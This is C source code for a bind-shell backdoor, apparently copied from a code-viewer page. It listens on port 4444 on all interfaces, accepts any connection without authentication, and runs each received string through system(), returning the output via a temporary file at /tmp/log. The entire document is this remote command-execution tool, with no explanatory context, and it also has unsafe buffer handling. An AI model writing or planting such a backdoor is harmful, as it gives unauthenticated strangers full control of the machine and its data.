1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <string.h>
#include <netdb.h>
int errexit (char *string) {
perror(string);
exit(EXIT_FAILURE);
}
int main(int argc, char *argv[]) {
int sfd, nsfd;
struct sockaddr_in me, client;
socklen_t size = sizeof(struct sockaddr_in);
int recv_len = 1;
size_t len;
char buffer [9000], *ptr;
if((sfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
errexit("socket");
if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &recv_len, sizeof(int)))
errexit("setsockopt");
me.sin_family = AF_INET;
me.sin_port = htons(4444);
me.sin_addr.s_addr = INADDR_ANY;
bzero(&me.sin_zero, 8);
if(bind(sfd, (struct sockaddr *)&me, size))
errexit("bind");
if(listen(sfd, 5))
errexit("listen");
printf("Now serving at %s on port %d.\n", inet_ntoa(me.sin_addr),
ntohs(*(&me.sin_port)));
if(fclose(stdout))
errexit("flcose");
if((stdout = fopen("/tmp/log", "a+")) == NULL)
errexit("fopen");
size = sizeof(struct sockaddr_in);
while(1) {
if((nsfd = accept(sfd, (struct sockaddr *)&client, &size)) < 0)
errexit("accept");
fprintf(stderr, "Connection from %s:%d.\n", inet_ntoa(client.sin_addr),
ntohs(client.sin_port));
while(*buffer != '.') {
if(read(nsfd, buffer, sizeof(buffer)) < 0)
perror("read");
ptr = buffer + strlen(buffer);
ptr = ptr - 2;
*ptr = '\0';
ptr = NULL;
system(buffer);
rewind(stdout);
while(getline(&ptr, &len, stdout) != EOF) {
if(write(nsfd, ptr, strlen(ptr)) < 0)
perror("write");
}
system("cat /dev/null > /tmp/log");
}
}
}
|